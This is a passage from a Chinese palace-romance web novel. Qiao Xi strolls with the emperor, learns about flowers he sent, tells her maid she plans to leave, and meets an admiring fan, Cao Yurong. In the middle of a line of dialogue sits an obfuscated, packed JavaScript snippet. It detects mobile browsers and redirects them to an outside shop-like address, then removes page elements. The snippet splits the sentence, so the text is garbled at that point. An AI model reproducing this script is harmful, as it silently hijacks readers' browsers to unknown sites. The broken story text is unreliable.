赵太妃面露为难,一时没有说话,曹玉容的目光在两人之间逡巡一阵过后,果断道:“还是下次吧,姨妈该回去喝药了。太医特地吩咐过要按时服药,耽误时辰可就不好了。” 天大地大病患最大,如此,乔禧也不好再说挽留的话,只能目送曹玉容搀扶着赵太妃离开,此刻唯一值得她欣慰的是,那道冷得能冻死人的视线终于消失了。 乔禧扭头去看,只见男人负手而立,板着脸冷哼一声后,就自顾自地大步往前走去。 “诶陛下,等等我啊!” 还好宁珩走得并不快,她小跑几步便能追上,依然是落后半步的距离,她略带埋怨地道:“陛下,您突然走这么快干嘛?” 宁珩并未看她,目光落在不远处的花树上,像是在认真看风景,隔了半晌才漫不经心地说:“既然想和赵太妃她们一道,那为何还要跟着朕?朕可没说不让你去。” 乔禧倒吸了一小口凉气,心道又得哄了。 折腾这么一大趟下来,最后竟然没有一个人懂她的良苦用心,左相给她派的这活还真是个吃力不讨好的。 稍稍整理过心情后,乔禧开始一本正经地胡说八道:“陛下此言差矣,我既是跟着陛下来的,自然是要有始有终,哪有半路抛下陛下的道理?况且我也不是要和赵太妃她们一起走,只是觉得人多热闹,赏景时能有人在身旁陪伴,这也算乐事一件啊。” 边说着,两人慢悠悠走进了湖边长道。碧波清透,被风层层推开,翻涌间将投下的日光揉成一片碎金,恍惚间好似明星熠熠。而道路的另一侧,绿叶映新红,芬芳自连片,或粉或白的花瓣乘风而落,绮丽入眼,快意却入心。 或许是风起的缘故,宁珩的声音有些听不真切,竟让人莫名听出几分深情缱绻,他道:“陪在朕身边的人,有一个就够了。” 似是无意的呢喃,语气却虔诚无比,原来坐拥江山万人之上的帝王,内心所求的,也不过是一生一世一双人吗? 乔禧有些惊讶地睁大了眼睛,可当她抬头去看时,却见男人不知何时已经走出好远,大半个身子隐入岔路边的花丛之间,独留她一人还在原地吹凉风。 顾不及多想,她快步跟了上去,只是心口处不自觉泛着热,她也不知是因日头太暖,还是心头太乱。 逛完东湖后,云禄来请宁珩前去御书房议政,说是工部侍郎要汇报些关于祭殿修缮的问题。此事关乎国祭,乔禧不便知道太多,于是只能先行回长华殿去。 她垂首行礼,道:“恭送陛下。” 秉着宁珩应该已经走了的想法,她毫无防备地起身抬眼,下一刻却正好撞进那双墨玉般的眸子里。 乔禧:“?”你怎么还没走? 宁珩:“……” 他双唇微启,似是有话要说,可末了也未能吐出一个字,只留给她颇含深意的一眼,接着便转身离开了。 夜里相安无事,直到第二日,乔禧才明白宁珩的未言之意是什么。 踩着她正好起床的时辰,白昙抱着满怀的花枝推门而入,多花含笑、玉兰皆是含苞待放,半开的桃花花瓣上还沾着露珠,看起来煞是粉嫩可爱。 乔禧愣愣地看着她走近,问:“这是?” 白昙微微一笑,轻车熟路地去博古架上拿了个花瓶,声音轻快地道:“这是陛下特意吩咐人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341194|199334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清晨去东湖那边摘的,等在瓶子里养过几天后就会开花,闻起来可香了。” 枝桠落入瓶中,敲出的声响轻灵悦耳。偏殿里本是一片金银玉饰堆砌的沉闷古板,因着这些红粉嫣然色的加入而顿时鲜活起来,乔禧愣愣地看着白昙忙前忙后,连要说什么都给忘了。 因为她刚刚才想起,昨天她在东湖边忍不住多吸了好几口气的地方,周围正种着大片玉兰和桃树。 白昙没有发现她的异样,全神贯注地摆弄着插好的花,嘴里还在念念有词:“阿禧你就放心吧,这瓶花以后就包在我身上,保准给你打理得服服帖帖,开得比外面枝头上的还要好……” 乔禧听得心头一阵惆怅,却又打心底不愿拂了白昙的兴致,只好低着头做出认真整理书桌的样子,含糊地道:“其实吧……也不用太费心思,毕竟我快要走了。” “啪嗒”一声,是玉兰花枝落地的声音。 白昙三步作两步冲到了书桌前,惊呼道:“你要走?” 乔禧连忙要去捂她的嘴,压低了嗓门说:“诶,你小声点!” 白昙却一把把她的手扒开,咋咋呼呼地问:“你怎么突然要走?谁说让你走了?陛下他知道这事吗?” “啧……”乔禧见捂嘴不成,干脆把她往门外推,语气故作凶狠,“哪那么多问题?反正我就是要走,你也别告诉别人,否则你就再也别想看到我写的话本了!” 随着最后一声落地,门也被“砰”地合上,连同白昙着急的呼唤与质问也都被挡在了外面。 乔禧背靠着门缝,这才深深地叹出一口气来,心想不管能不能在一个月内让曹玉容进入后宫,她都该计划着离开皇宫了。 深宫之中尔虞我诈不断,她一无权势二无靠山,继续留在这里就只有等死的份儿。 等到白昙的脚步声终于消失,乔禧心里也大概有了主意,只是这次,她要先去找曹玉容一趟。 长华殿距离望月阁尚有些距离,乔禧装成宫人,一路问看着面善的丫鬟太监们,最后总算是有惊无险地到了望月阁外。 见到生人,门口的侍卫二话不说将她拦下,乔禧和善地笑了笑,道:“劳烦两位帮忙报个信,就跟曹小姐说,阿禧来找她了。” 她有十成十的把握曹玉容会来,只因为昨日东湖边见面时,她叫的是“阿禧”而非“乔姑娘”。 不过多时,曹玉容提着裙摆出现在门口,见到她时更是面上不掩喜色,道:“阿禧姑娘,竟然真的是你!” 乔禧淡然一笑,未卜先知似的并未开口,而曹玉容的长篇大论也在下一刻如期而至:“阿禧你知道吗我是你的忠实读者!你的所有话本我都看过,你近几年写的我每一本都买了十本,还有你以前写的《风波令》《江湖逍遥录》我也都看过好几遍……” 有了当初白昙的前车之鉴,乔禧面对此情此景已然冷静许多,可她却是没想到,能在曹玉容嘴里听到这两个久远而熟悉的书名。